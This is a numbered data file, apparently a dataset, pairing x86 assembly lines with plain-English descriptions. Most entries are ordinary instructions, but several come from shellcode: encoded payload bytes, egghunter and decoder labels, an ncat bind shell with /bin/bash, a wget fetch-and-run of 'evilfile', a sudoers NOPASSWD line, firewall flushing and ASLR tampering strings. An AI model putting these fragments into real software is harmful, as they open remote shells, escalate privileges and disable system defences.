ecx, edx \n ja l1 if the unsigned contents of the ecx register is greater than the unsigned contents of the edx register then jump to the l1 label else437cmp edi, 0 compare if edi is equal to 0438cmp edx, 0 compare if edx is zero439cmp edx, 0x43 \n ja loop \n push edx jump to the loop label if the unsigned contents of the edx register is greater than the unsigned value 0x43 else push the contents of the edx register onto the stack440cmp edx, 0x43 \n ja loop \n push edx if the unsigned contents of the edx register is greater than the unsigned value 0x43 then jump to the loop label else push the contents of the edx register onto the stack441cmp edx, 10 compare whether the edx register has reached 10442cmp edx, 42 compare the contents of edx to 42443cmp edx, 42 \n je short loc_402B13 jump to loc_402B13 if the contents of the edx register is equal to 42444cmp edx, 42 \n je short loc_402B13 if the contents of the edx register is equal to 42 then jump to loc_402B13445cmp edx, ebx compare the contents of edx and the contents of ebx446cmp edx, ebx \n je 0x8 \n jump to the memory address 0x8 if the contents of the edx register is equal to the contents of the ebx register447cmp edx, ebx \n je 0x8 \n if the contents of the edx register is equal to the contents of the ebx register then jump to the memory address 0x8448cmp edx, ebx \n je 0x8 \n mov ebx, edx jump to the memory address 0x8 if the contents of the edx register is equal to the contents of the ebx register else move the contents of the edx register into the ebx register449cmp edx, ebx \n je 0x8 \n mov ebx, edx if the contents of the edx register is equal to the contents of the ebx register then jump to the memory address 0x8 else move the contents of the edx register into the ebx register450cmp esi, 10 compare if esi is equal to 10451cmp esi, edx \n je find_egg jump to the find_egg label if the contents of the esi register is equal to the contents of the edx register452cmp word [ecx], 0x5951 compare the word at the address ecx and 0x5951453code: define the code label454connect: define connect function455cont: define the cont label456contents db 'hello world!', 0h define a string db and initialize to 'hello world!'457createfile: declare the createfile label458createfile: define createfile function459cycle: declare the cycle label460cycle: define cycle label461data: declare the data label462db ',ajm,pk#########' define the byte string ',ajm,pk#########'463db '/bin/sh' define a byte string and initialize it to '/bin/sh'464db '/bin/sh#sh#' define the byte string '/bin/sh#sh#'465db '/proc/sys/kernel/randomize_va_spacex' define the byte string '/proc/sys/kernel/randomize_va_spacex'466db '/sbin/insmod#/tmp/o.o' define the byte string '/sbin/insmod#/tmp/o.o'467db '/sbin/ipchains#-f#' define the byte string '/sbin/ipchains#-f#'468db '/sbin/iptables#-f#' define the byte string '/sbin/iptables#-f#'469db '/usr/bin/ncat#-lvp1337#-e/bin/bash#aaaabbbbccccdddd' define the byte string '/usr/bin/ncat#-lvp1337#-e/bin/bash#aaaabbbbccccdddd'470db '0',10 define the byte string '0',10471db 'my.txtx' define the byte string 'my.txtx'472db '/bin/sh' define the byte string '/bin/sh'473db '/etc/passwd#' define the byte string '/etc/passwd#'474db 'all all=(all) nopasswd: all', 0xa define the byte string 'all all=(all) nopasswd: all'475db 'cp /bin/sh /tmp/sh' define the byte string 'cp /bin/sh /tmp/sh'476db 'egg mark' define the byte string 'egg mark'477db 'egg mark' initialize a string to 'egg mark'478db 'rm -f /tmp/f' define the byte string 'rm -f /tmp/f'479db 0x3e,0xcd,0x5d,0x75,0x3c,0x3c,0x80,0x75,0x75,0x3c,0x6f,0x76,0x7b define an array of bytes and initialize it to 0x3e,0xcd,0x5d,0x75,0x3c,0x3c,0x80,0x75,0x75,0x3c,0x6f,0x76,0x7b480db 0x68 declare a byte contining 0x68481db 0x68 declare a byte with no label containing the value 0x68482db 0x80 declare a byte and initialize it to 0x80483db 0x80 declare an unlabeled byte initialized to 0x80484db 0x96,0xf0,0x5d,0x96,0xef,0x60,0x96,0xee,0xbd,0x18,0xda,0x8d define an array of bytes and initialize it to 0x96,0xf0,0x5d,0x96,0xef,0x60,0x96,0xee,0xbd,0x18,0xda,0x8d485db 0xcd define a byte and initialize it to 0xcd486db 0xcd define the byte 0xcd487db 10 declare a byte with no label containing the value 10488db 10 declare an unlabeled byte initialized to 10489dd 0xdeadbeef define a byte and initialize it to 0xdeadbeef490dec byte dl decrement the byte at the address dl by one491dec byte dl decrement the byte in dl492dec cl decrement the cl register by one493dec cl decrement the contents of cl494dec cl decrement the contents of the cl register495dec cl \n jns dup2 decrement the contents of the cl register and jump to the dup2 label if the result is not negative496dec cl \n jns loop_dup decrement the contents of the cl register and jump to the loop_dup label if the result is not negative497dec cl \n jns loopinghere decrement the contents of the cl register and jump to the loopinghere label if the result is not negative498dec dl decrement the dl register by one499dec eax decrement eax500dec eax decrement the contents of the eax register501dec eax decrement the eax register by one502dec eax subtract one from the contents of eax503dec ebp decrement ebp504dec ebx decrement ebx505dec ebx decrement the ebx register by one506dec ebx subtract one from the contents of ebx507dec ecx decrement ecx508dec ecx decrement ecx by 1509dec ecx decrement the contents of the ecx register510dec ecx decrement the ecx register by one511dec ecx \n jns _dup2_loop decrement the contents of the ecx register and jump to the _dup2_loop label if the result is not negative512dec ecx \n jns 2f_loop decrement the contents of the ecx register and jump to the 2f_loop label if the result is not negative513dec ecx \n jns dup2 decrement the contents of the ecx register and jump to the dup2 label if the result is not negative514dec ecx \n jns dup2loop decrement the contents of the ecx register and jump to the dup2loop label if the result is not negative515dec ecx \n jns dup2loop decrement ecx by 1 and jump to the dup2loop procedure until ecx equals 0516dec ecx \n jns duploop decrement the contents of the ecx register and jump to the duploop label if the result is not negative517dec ecx \n jns loop decrement the contents of the ecx register and jump to the loop label if the result is not negative518dec ecx \n jns loop2 decrement the contents of the ecx register and jump to the loop2 label if the result is not negative519dec ecx \n jz counter_is_now_zero decrement the contents of the ecx register and jump to the counter_is_now_zero label if the result is zero520dec edx decrement edx521dec edx decrement the edx register by one522dec esp decrement esp523dec esp decrement the esp register by one524decode_pr: define decode_pr label525decode: declare the decode label526decode: define decode function527decode: define decode label528decoded_shellcode: define decoded_shellcode function529decoder: declare the decoder function530decoder: declare the decoder label531decoder: define decoder function532decoder: define decoder label533decrypt: declare the decrypt label534dim: equ 25 declare a constant size and set equal to 25535dim: equ 512 define dim to be 512 bytes large536div dword [value] divide the contents of eax by the word value stored at memory location value537div dword [var] divide the contents of in eax by by the word value stored at memory location var538div ebx divide eax by ebx539div ebx divide the contents of eax by the contents of ebx540div ecx divide eax by ecx541div ecx divide eax by ecx the result of the division is stored in eax and the remainder in edx542div edx divide eax by value in edx543div esi divide eax by esi544do_dup: declare the do_dup label545do_dup: define do_dup label546doit: declare the doit label547done: declare the done label548download: declare the download label549download: define download function550dup2: declare the dup2 label551dup2: define dup2 function552dup2loop: delcare the dup2loop label553duploop: declare the duploop label554duploop: define duploop function555egg equ 'egg ' define egg equal to 'egg '556egg1 equ 'mark' define egg1 equal to 'mark'557egghunter: declare the egghunter label558enc: declare the enc label559encodedshellcode: db 0x32,0x51,0x30,0x74,0x69,0x63,0x6f,0xe4,0x8a,0x54,0xe2,0x0c,0x81,0xc1,0x69,0x30,0x69,0x30,0x6a,0x8a,0x51,0xe3,0x8a,0xb1,0xce define the array of bytes encodedshellcode and initialize it to 0x32,0x51,0x30,0x74,0x69,0x63,0x6f,0xe4,0x8a,0x54,0xe2,0x0c,0x81,0xc1,0x69,0x30,0x69,0x30,0x6a,0x8a,0x51,0xe3,0x8a,0xb1,0xce560encodedshellcode: db 0x4e,0xc1,0x51,0x2f,0x58,0x3c,0xdb,0xac,0xef,0x82,0xef,0x1c,0x2a,0xd9,0xdb,0x90,0xdb,0x6b,0xef,0x61,0x3b,0x1c,0xcb,0x24,0xfb,0xd6,0xc5,0x50,0x23,0xfa,0x58,0x9c,0xc5,0xb1,0x33,0x97,0x28,0x31,0xc5,0xaa,0x43,0xf9,0x56,0xf4,0xad,0xc2,0x02,0x16,0x55,0xe3 define the array of bytes encodedshellcode and initialize it to 0x4e,0xc1,0x51,0x2f,0x58,0x3c,0xdb,0xac,0xef,0x82,0xef,0x1c,0x2a,0xd9,0xdb,0x90,0xdb,0x6b,0xef,0x61,0x3b,0x1c,0xcb,0x24,0xfb,0xd6,0xc5,0x50,0x23,0xfa,0x58,0x9c,0xc5,0xb1,0x33,0x97,0x28,0x31,0xc5,0xaa,0x43,0xf9,0x56,0xf4,0xad,0xc2,0x02,0x16,0x55,0xe3561encrypt: declare the encrypt label562end: declare the end label563entrypoint: declare the entrypoint label564even_number: define even_number function565execfile: declare the execfile label566execfile: define execfile function567execute: declare the execute label568exit_call equ 1 define exit_call equal to 1569exit_on_error: declare the exit_on_error label570exit: declare the exit label571exit: define exit function572exit: define the exit label573file: db '/sbin/iptables#-f' define file as the byte string '/sbin/iptables#-f'574fileaddress: declare the fileaddress label575filecontents: resb 128 reserve filecontents variable of 128 bytes576filename: db 'readme.txt', 0h create a string filename and initialize to 'readme.txt'577filename: resb 255 reserve a variable filename of 255 bytes578fill: declare the fill label579fill: define fill label580find_egg: declare the find_egg label581find_egg: define find_egg function582format: declare the format label583format: define format label584formatting: declare the formatting label585formatting: define formatting label586four: declare the four label587fupdisasm: define fupdisasm function588fupdisasm: define fupdisasm label589get: declare the get label590global _shell declare _shell as global label591global _star declare of the global _star592global _start declare _start as global label593global _start declare global _start594global _start global _start595global _start: declare the global _start label596google db '127.1.1.1 google.com' define google as the byte string '127.1.1.1 google.com'597google: db '127.1.1.1 google.com' define the byte string google and initialize it to '127.1.1.1 google.com'598gotocall: declare the gotocall label599hello: db 'hello world!',10 create a string 'hello world!' plus a linefeed character600hellolen: equ $-hello define hellolen equal to the length of the hello string601here: declare the here label602here: define here label603inc [count] increment the count variable604inc al increment the contents of the al register605inc ax add 1 to ax606inc ax increment ax607inc ax increment the contents of the ax register608inc bl increment the contents of the bl register609inc bx increment bx610inc bx increment the contents of the bx register611inc byte [esp+ecx] increment the byte at the address [esp+ecx] by one612inc cl increment the contents of the cl register613inc count increment the memory variable count614inc dl increment dl615inc dl increment dl register616inc dl increment the contents of the dl register617inc dword [tmp] add one to the doubleword integer stored at memory location tmp618inc dword [value] add one to the doubleword integer stored at memory location value619inc dword [var] add one to the doubleword integer stored at location var620inc dx increment the contents of the dx register621inc eax increment eax622inc eax increment the address in eax by one byte623inc eax increment the contents of the eax register624inc ebx increment ebx625inc ebx increment ebx register626inc ebx increment the contents of the ebx register627inc ecx increment ecx628inc ecx increment the contents of the ecx register629inc edi increment edi630inc edi increment the contents of the edi register631inc edx increment edx632inc edx increment the contents of the edx register633inc esi increment esi634inc esi increment the contents of the esi register635inc esp increment the contents of the esp register636inc_dec: declare inc_dec function637incaddr: declare the incaddr label638incpage: declare incpage function639init: declare the init label640int 0x80 call kernel641int 0x80 execute execve syscall642int 0x80 execute execve with system call interrupt643int 0x80 execute exit syscall644int 0x80 execute the reboot syscall645int 0x80 make the kernel call646int 0x80 make the system call647int 0x80 make the system call to the kernel648int 0x80 system call interrupt649int 0x80 system call interrupt 0x80650int 80h call sys_read651int 80h call sys_read to fill the buffer652int 80h call sys_write653int 80h call the kernel654int 80h make kernel call to display line string655int 80h make kernel call to exit program656int 80h make sys_exit kernel call657int 80h make sys_write kernel call658int 80h make syscall to output the text to stdout659int 80h make syscall to terminate the program660int 80h make the syscall to terminate the program661int 80h make the system calls to the kernel662ja exi jump to exi if greater663ja exit jump to the exit label if the destination operand is greater than the source operand in the above comparison664ja next jump to next label if the destination is greater than the source in the above comparison665ja write jump to write if greater666jb 0xf3 perform an unsigned comparison and jump to 0xf3 if lower667jb modtest jump to label modtest if below668jb next jump to label next if below669jb write jump to label write if below670jbe done jump to label done if below or equal671je all jump to the all label if the operands of the above comparison are equals672je connec jump to connect if equal673je connect jump to the connect label if the operands of the above comparison are equals674je continue if equal jump to label continue675je continue jump to label continue if equal676je done jump to label done if equal677je even_number jump to even_numer if greater678je exit jump to label exit if equal to 0679je exit jump to the exit label if the operands of the above comparison are equals680je l7 if equal then jump to label l7681je short encodedshellcode jump short to encodedshellcode if equal682je short loc_402b13 jump to loc_402b13 if equal683je stop jump to label stop if equal684jeq loop jump to the code location labeled loop if the operands of the previous comparison are equal685jg finished jump if greater than to label finished686jl _while_loop jump to the _while_loop if lower687jl _while_loop jump to the _while_loop label if the destination operand is less than the source operand in the above comparison688jl finished jump if less than to label finished689jl wrap_around jump to the wrap_around label if the destination operand is less than the source operand in the above comparison690jle lp1 if it is less than or equal to 10 then jump to lp1691jmp _accept jump to label _accept692jmp _read jump to _read693jmp _return jump to the _return label694jmp _star jump to _star695jmp _start jump to the _start label696jmp _while_loop jump to the _while_loop label697jmp aslr_file jump to the aslr_file label698jmp begin jump to the instruction labeled begin699jmp call_egghunter jump to the call_egghunter label700jmp callpop jump to callpop701jmp callpop jump to the callpop label702jmp callz jump to the callz label703jmp carryon jump to the carryon label704jmp connec jump to connec705jmp data jump to the data label706jmp eax jump to eax707jmp eax jump to the value stored in the eax register708jmp ecx jump to ecx709jmp edi jump to edi710jmp edi jump to the edi label711jmp edx jump to edx712jmp encrypt jump to the encrypt label713jmp entrypoint jump to the entrypoint label714jmp esp jump to the esp label715jmp fupdisasm+1 jump to fupdisasm+1716jmp fupdisasm+1 jump to the address specified by the operation fupdisasm+1717jmp fupdisasm+3 jump to the address specified by the operation fupdisasm+3718jmp jocker jump to the jocker label719jmp l20 jump to label l20720jmp loop jump to the label loop721jmp multiplyloop jump to label multiplyloop722jmp nextarg jump to nextarg label723jmp nextchar jump to the point in the code labeled nextchar724jmp one jump to the one label725jmp read jump to label read726jmp read jump to the label read727jmp read jump to the read label728jmp reading jump to the reading label729jmp shell jump to the shell label730jmp shellcode jump to shellcode731jmp shellcode jump to the shellcode label732jmp short _cmd jump short to the _cmd label733jmp short _execline jump short to the _execline label734jmp short _file jump short to the _file label735jmp short _load_data jump short to _load_data label736jmp short _load_data jump short to the _load_data label737jmp short _star jump short to _star label738jmp short _start jump short to the _start label739jmp short .exit jump short to the .exit label740jmp short 0x11 jump short to 0x11741jmp short 0x2c jump short to 0x2c742jmp short 0x34 jump short to 0x34743jmp short 0x63 jump short to 0x63744jmp short call_decoder jump short to call_decoder745jmp short call_decoder jump short to the call_decoder label746jmp short call_shellcode jump short to call_shellcode747jmp short call_shellcode jump short to the call_shellcode label748jmp short call_write jump short to the call_write label749jmp short callit jump short to the callit label750jmp short callme jump short to the callme label751jmp short cmd jump short to the cmd label752jmp short cycle jump short to cycle label753jmp short cycle jump short to the cycle label754jmp short decode jump short to decode755jmp short decode jump short to the decode label756jmp short decode_pr jump short to the decode_pr label757jmp short enc jump short to the enc label758jmp short end jump short to the end label759jmp short exi jump short to exi label760jmp short fileaddress jump short to the fileaddress label761jmp short formatting jump short to the formatting label762jmp short four jump short to the four label763jmp short get jump short to the get label764jmp short gotocall jump short to the gotocall label765jmp short here jump short to the here label766jmp short inc_dec jump short to inc_dec767jmp short main jump short to the main label768jmp short output jump short to the output label769jmp short path jump short to the path label770jmp short process_shellcode jump short to the process_shellcode label771jmp short push_cmd jump short to push_cmd772jmp short push_cmd jump short to the push_cmd label773jmp short read jump short to the read label774jmp short rotate jump short to the rotate label775jmp short search jump short to the search label776jmp short setup jump short to the setup label777jmp short shellcode jump short to shellcode778jmp short shellcode jump short to the shellcode label779jmp short stage jump short to stage780jmp short stage jump short to the stage label781jmp short three jump short to the three label782jmp short todo jump short to the todo label783jmp short two jump short to the two label784jmp two jump to the two label785jmp two jump to two786jmp_search: define the jmp_search label787jnc 0x86 jump to 0x86 if the carry flag is zero788jnc 0xd8 jump to 0xd8 it the carry flag is zero789jne _nex if not equal jump to the _nex label790jne _next jump to the _next label if the operands of the above comparison are not equals791jne 804809a jump to 804809a if not equal792jne 80480aa jump to 80480aa if not equal793jne checkbuzz if the remainder is not equal to zero jump to local label checkbuzz794jne checkint if the remainder is not equal to zero jump to local label checkint795jne loop jump to the address specified by the label loop if the operands are not equals in the previous comparison796jne next_addr jump to the next_addr label if the operands of the above comparison are not equals797jne nextnumber if not equal jump to the label nextnumber798jne no_error jump to the label no_error if not equal799jne retry jump to retry if not equal800jne short _while_loop if not equal jump short to the _while_loop801jne short _while_loop jump to the _while_loop label if the operands of the above comparison are not equals802jns _dup2_loop jump to the _dup2_loop label if the previous instruction clears the sign flag803jns 2f jump to 2f if the sign flag is zero804jns 3f jump to 3f if the sign flag is zero805jns decode_pr jump to decode_pr if not signed806jns dup2 jump to dup2 if not negative807jns dup2 jump to the dup2 label if the previous instruction clears the sign flag808jns duploop jump to duploop if not negative809jns duploop jump to the duploop label if the previous instruction clears the sign flag810jns loop jump to the loop label if the previous instruction clears the sign flag811jns loopinghere jump to the loopinghere label if the previous instruction clears the sign flag812jnz _start jump to the _start label if the zero flag is cleared813jnz 0x41 jump to 0x41 if not zero814jnz 0x8 jump to 0x8 if not zero815jnz 1 if not zero jump to numeric label 1816jnz 1 jump to the numeric label 1 if the zero flag is cleared817jnz decode jump to the decode label if the zero flag is cleared818jnz exeunt jump to exeunt if not zero819jnz exit_on_error jump to the exit_on_error label if the zero flag is cleared820jnz incaddr increment address if no match821jnz incaddr jump to incaddr if no match822jnz l00p jump to the l00p label if the zero flag is cleared823jnz loop jump to loop if not equal to zero824jnz loop jump to the loop label if the zero flag is cleared825jnz next_addr jump to next_addr if not zero826jnz next_cycle if not zero jump to the next_cycle label827jnz next_cycle jump to the next_cycle label if the zero flag is cleared828jnz scan if not 0 then jump to the scan label829jnz short _paren if not zero jump short to the _paren label830jnz short _parent jump short to the _parent label if the zero flag is cleared831jnz short decode jump short to decode if not zero832jnz short decode jump short to the decode label if the zero flag is cleared833jnz short loc_4010e5 if not zero jump to loc_4010e5834jnz stage jump to the stage label if the zero flag is cleared835jnz top if not 0 then jump to the top label836jocker: declare the jocker label837js error jump to error label if sign flag SF is equal to 1838jz _close jump to the label _close if the zero flag is set839jz _read jump to the label _read if the zero flag is set840jz _start jump to the _start label if the zero flag is set841jz 0x8 jump to 0x8 if zero842jz call_decoded jump to the call_decoded label if the zero flag is set843jz child if zero jump to the child label844jz child jump to child if zero845jz child jump to label child if the zero flag is set846jz child jump to the child label if the zero flag is set847jz decoded_shellcode jump to decoded if zero848jz download jump to download if zero849jz download jump to the download label if the zero flag is set850jz encoded if zero jump to the encoded label851jz encoded jump to the encoded label if the zero flag is set852jz exit jump to the exit label if the zero flag is set853jz find_egg jump to find_egg if zero854jz find_egg jump to the find_egg label if the zero flag is set855jz finished jump to the point in the code labeled finished if zero856jz formatting if zero jump to the formatting label857jz formatting jump to the formatting label if the zero flag is set858jz incpage jump to incpage if equal859jz next_cycle if zero jump to the next_cycle label860jz next_cycle jump to the next_cycle label if the zero flag is set861jz next_page jump to next_page if zero862jz nomoreargs if zero flag is set jump to nomoreargs label863jz shift_decode if zero jump to the shift_decode label864jz shift_decode jump to the shift_decode label if the zero flag is set865jz short loc_402b13 if 0 then jump to loc_402b13866key equ 0xdeadbeef define key constant equal to 0xdeadbeef867l00p: declare the l00p label868lea bx, [bp+0x08] load the effective address of the operation [bp+0x08] into the bx register869lea bx, [bp+0x0b] load the effective address of the operation bp+0x0b] into the bx register870lea cx, [bp+di+0x32] load the effective address of the operation [bp+di+0x32] into the cx register871lea dx, [bp+di+0x3e] load the effective address of the operation [bp+di+0x3e] into the dx register872lea eax, [ebx+0xf] load the effective address of the result of the operation [ebx+0xf] into the eax register873lea eax, [ebx+17h] load the effective address of the result of the operation [ebx+17h] into the eax register874lea eax, [ebx+8] put the address of ebx+8 into eax875lea eax, [ecx+0bh] load the effective address of the result of the operation [ecx+0bh] into the eax register876lea eax, [ecx+4] load the effective address of the result of the operation [ecx+4] into the eax register877lea eax, [val] place the value val in eax878lea eax, [var] place the address of var in eax879lea eax, [var] place the value in var in eax880lea eax, [zero_reg+3] load the effective address [zero_reg+3] into eax881lea eax, [zero_reg+3] load the effective address of the result of the operation [zero_reg+3] into the eax register882lea eax, [zero_reg+6] load the effective address [zero_reg+6] into eax883lea eax, [zero_reg+6] load the effective address of the result of the operation [zero_reg+6] into the eax register884lea eax, [zero_reg+66h] load the effective address [zero_reg+66h] into eax885lea eax, [zero_reg+66h] load the effective address of the result of the operation [zero_reg+66h] into the eax register886lea eax,[ebx+0xb] load the effective address of the operation [ebx+0xb] into the eax register887lea ebp,[ebp+0x59] load the effective address of the operation [ebp+0x59] into the ebp register888lea ebx, [ebp-8] load the effective address [ebp-8] into ebx889lea ebx, [ebp-8] load the effective address of ebp-8 into the ebx register890lea ebx, [ebp+24] load the effective address [ebp+24] into ebx891lea ebx, [ebp+24] load the effective address of the result of the operation [ebp+24] into the ebx register892lea ebx, [ebp+39] load the effective address [ebp+39] into ebx893lea ebx, [ebp+39] load the effective address of the result of the operation [ebp+39] into the ebx register894lea ebx, [edx+0x4] load the effective address of edx+0x4 into ebx895lea ebx, [esi] load the effective address of esi into the ebx register896lea ebx, [esi+13] load the effective address of the result of the operation [esi+13] into the ebx register897lea ebx, [esi+14] load the effective address of the result of the operation [esi+14] into the ebx register898lea ebx, [esi+15] load the effective address [esi+15] into ebx899lea ebx, [esi+15] load the effective address of the result of the operation [esi+15] into the ebx register900lea ebx, [esi+23] load the effective address of the result of the operation [esi+23] into the ebx register901lea ebx, [esp +1] load the effective address [esp+1] into ebx902lea ebx, [esp +1] load the effective address of the result of the operation [esp +1] into the ebx register903lea ebx, [esp] load the effective address of esp into ebx904lea ebx, [esp] load the effective address of esp into the ebx register905lea ebx, [zero_reg+3] load the effective address [zero_reg+3] into ebx906lea ebx, [zero_reg+3] load the effective address of the result of the operation [zero_reg+3] into the ebx register907lea ecx, [eax] load the effective address of the result of the operation [eax] into the ecx register908lea ecx, [ebp+28] load the effective address [ebp+28] into ecx909lea ecx, [ebp+28] load the effective address of the result of the operation [ebp+28] into the ecx register910lea ecx, [ebx+0xff] load the value of ebx+0xff into register ecx911lea ecx, [ebx+8] load the effective address of ebx+8 into ecx912lea ecx, [esi + 8] load the effective address of the result of the operation [esi + 8] into the ecx register913lea ecx, [esi+18] load the effective address [esi+18] into ecx914lea ecx, [esi+18] load the effective address of the result of the operation [esi+18] into the ecx register915lea ecx, [esi+22] load the effective address of the result of the operation [esi+22] into the ecx register916lea ecx, [esi+35] load the effective address of the result of the operation [esi+35] into the ecx register917lea ecx, [esi+8] load the effective address of the result of the operation [esi+8] into the ecx register918lea ecx, [esp] load the effective address of esp into the ecx register919lea ecx, [zero_reg+117] load the effective address [zero_reg+117] into ecx920lea ecx, [zero_reg+117] load the effective address of the result of the operation [zero_reg+117] into the ecx register921lea ecx, [zero_reg+3] load the effective address [zero_reg+3] into ecx922lea ecx, [zero_reg+3] load the effective address of the result of the operation [zero_reg+3] into the ecx register923lea edi, [ebx] load the effective address [ebx] into edi924lea edi, [ebx] load the effective address of ebx into the edi register925lea edi, [ebx+4*esi] place the quantity ebx+4*esi in edi926lea edi, [ebx+4*esi] place the value ebx+4*esi in edi927lea edi, [esi + 13] load the effective address of the result of the operation [esi + 13] into the edi register928lea edi, [esi +1] load the effective address of [esi + 1] into the edi register929lea edi, [esi] load the effective address [esi] into edi930lea edi, [esi+13] load the effective address of esi+13 into esi+13931lea edx, [ebx+12] load the effective address of ebx+12 into edx932lea edx, [esi + 12] load the effective address of the result of the operation [esi + 12] into the edx register933lea edx, [esi+26] load the effective address [esi+26] into edx934lea edx, [esi+26] load the effective address of the result of the operation [esi+26] into the edx register935lea edx, [esi+30] load the effective address of the result of the operation [esi+30] into the edx register936lea edx, [esi+47] load the effective address of the result of the operation [esi+47] into the edx register937lea esi, [ebp+20] load the effective address [ebp+20] into esi938lea esi, [ebp+20] load the effective address of the result of the operation [ebp+20] into the esi register939lea esi, [esi +4] load the effective address of the result of the operation [esi +4] into the esi register940lea esi, [esi+4] load the effective address [esi+4] into esi941lea esp, [ebx] load the value of register ebx into register esp942len equ $ - msg define len equal to the length of msg943len equ $-encodedshellcode define len equal to the lenght of the encodedshellcode array944len: equ $-google declare the len label equal to the size of the google variable945len: equ $-shellcode declare the len label equal to the length of shellcode946letter_c db 'c' allocate a single byte of memory and initialize it to the letter 'c'947line db '/usr/bin/wget http://127.0.0.1:8080/evilfile && /bin/chmod 777 evilfile && ./evilfile', 0x0a define line as the byte string '/usr/bin/wget http://127.0.0.1:8080/evilfile && /bin/chmod 777 evilfile && ./evilfile', 0x0a948loader: declare the loader label949loop .3 decrement the counter and jump to .3 label if the count is not zero950loop 3 decrement ecx and jumps to the 3 label unless decrementing ecx caused its value to become zero951loop bucle decrement the ecx register and jump to the bucle label if the counter is not zero952loop check_even_odd decrement the count register and jump to check_even_odd if the count is not equal to zero953loop check_even_odd \n jmp short shellcode decrement the ecx register and jump to the check_even_odd label if the contents of the ecx register is not zero else jump short to the shellcode label954loop decode decrement ecx and jumps to the decode label unless decrementing ecx caused its value to become zero955loop decode decrement the count register and jump to decode if not equal zero956loop decode \n jmp edx decrement the ecx register and jump to the decode label if the contents of the ecx register is not zero else jump to the edx register957loop decode \n jmp EncodedShellcode decrement the ecx register and jump to the decode label if the contents of the ecx register is not zero else jump to the EncodedShellcode label958loop decode \n jmp Shellcode decrement the ecx register and jump to the decode label if the contents of the ecx register is not zero else jump to the Shellcode label959loop decode \n jmp short shellcode decrement the ecx register and jump to the decode label if the contents of the ecx register is not zero else jump short to the shellcode label960loop decrypt decrement ecx and jumps to the decrypt label unless decrementing ecx caused its value to become zero961loop decrypt \n jmp encrypt decrement the ecx register and jump to the decrypt label if the contents of the ecx register is not zero else jump short to the encrypt label962loop do_dup decrement ecx and jumps to the do_dup label unless decrementing ecx caused its value to become zero963loop do_dup decrement the counter and jump to the do_dup label if the count is not zero964loop do_dup \n push byte 0x3f decrement the ecx register and jump to the do_dup label if the contents of the ecx register is not zero else push the byte 0x3f onto the stack965loop eggLoop \n jmp edi decrement the ecx register and jump to the eggLoop label if the contents of the ecx register is not zero else jump to the edi register966loop fill decrement ecx and jumps to the fill label unless decrementing ecx caused its value to become zero967loop fill decrement the counter and jump to the fill label if the count is not zero968loop fill \n mov ecx, esp decrement the ecx register and jump to the fill label if the contents of the ecx register is not zero else move the contents of the esp register into the ecx register969loop l1 \n mov eax, esp decrement the ecx register and jump to the l1 label if the contents of the ecx register is not zero else move the contents of the esp register into the eax register970loop l1 \n mov eax, esp decrement the ecx register and jump to the l1 label if the contents of the ecx register is not zero else point the eax register to the stack register971loop l2 \n jmp edi decrement the ecx register and jump to the l2 label if the contents of the ecx register is not zero else jump to the edi register972loop l2 \n mov ebx, esp decrement the ecx register and jump to the l2 label if the contents of the ecx register is not zero else move the contents of the esp register into the ebx register973loop l2 \n mov ebx, esp decrement the ecx register and jump to the l2 label if the contents of the ecx register is not zero else point the ebx register to the stack register974loop l3 \n mov ecx, esp decrement the ecx register and jump to the l3 label if the contents of the ecx register is not zero else move the contents of the esp register into the ecx register975loop l3 \n mov ecx, esp decrement the ecx register and jump to the l3 label if the contents of the ecx register is not zero else point the ecx register to the stack register976loop l4 \n mov edx, esp decrement the ecx register and jump to the l4 label if the contents of the ecx register is not zero else move the contents of the esp register into the edx register977loop l4 \n mov edx, esp decrement the ecx register and jump to the l4 label if the contents of the ecx register is not zero else point the edx register to the stack register978loop main_inc decrement ecx and jumps to the main_inc label unless decrementing ecx caused its value to become zero979loop main_inc \n mov ebx, esp decrement the ecx register and jump to the main_inc label if the contents of the ecx register is not zero else move the contents of the esp register into the ebx register980loop main_inc \n mov ebx, esp decrement the ecx register and jump to the main_inc label if the contents of the ecx register is not zero else point the ebx register to the stack register981loop main_loop decrement the counter and jump to the main_loop label if the count is not zero982loop main_push decrement ecx and jumps to the main_push label unless decrementing ecx caused its value to become zero983loop main_push \n mov cl, 30 decrement the ecx register and jump to the main_push label if the contents of the ecx register is not zero else move the value 30 into the cl register984loop ROT_decode \n jmp short Shellcode decrement the ecx register and jump to the ROT_decode label if the contents of the ecx register is not zero else jump short to the Shellcode label985loop up decrement ecx and jumps to the up label unless decrementing ecx caused its value to become zero986loop: declare the loop label987loop: define the loop label988loopinghere: declare the loopinghere label989loopnz decode decrement ecx and jumps to the decode label if the contens of ecx is not zero and the zero flag is set to zero990loopnz L1 decrement the counter and jump to the L1 label if the count is not zero and the zero flag is equal to zero991loopnz L1 \n jmp shellcode decrement the ecx register and jump to the L1 label if the contents of the ecx register is not zero and the zero flag is zero else jump to the shellcode label992loopnz L2 decrement the counter and jump to the L2 label if the count is not zero and the zero flag is set to zero993loopnz L2 \n push eax decrement the ecx register and jump to the L2 label if the contents of the ecx register is not zero and the zero flag is zero else push the contents of the eax register onto the stack994loopnz L3 \n mov edx, 7 decrement the ecx register and jump to the L3 label if the contents of the ecx register is not zero and the zero flag is zero else move the value 7 into the edx register995loopnz Label1 decrement ecx and jumps to the Label1 label if the contents of the ecx register is not zero and the zero flag is equal to zero996loopnz next decrement ecx and jumps to the next label if ecx is not zero and the zero flag is equal to zero997loopnz next \n jmp ecx decrement the ecx register and jump to the next label if the contents of the ecx register is not zero and the zero flag is zero else jump to the ecx register998loopnz next2 \n jmp edi decrement the ecx register and jump to the next2 label if the contents of the ecx register is not zero and the zero flag is zero else jump to the edi register999main_inc: create label main_inc1000main_inc: declare the main_inc label1001main_loop: define main_loop label1002main_push: create label main_push1003main_push: declare the main_push label1004main: create main label1005main: declare the main label1006main: define main label1007marks dw 0, 0, 0, 0 allocate memory for the marks array of words and initialize all elements to zero1008matrix qw 12*10 allocate memory for a 12*10 quad-bytes matrix1009me: declare the me label1010me: define me label1011message db '/bin/sh' define message byte and initialize it to '/bin/sh'1012message db 'hello',13,0 allocate memory for a null terminated string 'hello\n'1013message db '/bin/sh' define message as the byte string '/bin/sh'1014message db '/etc/passwd' define message as the byte string '/etc/passwd'1015message db '/etc/passwd' define the string message and initialize it to '/etc/passwd'1016message: db 'hello world!' declare message to contain the bytes 'hello world!'1017message: db 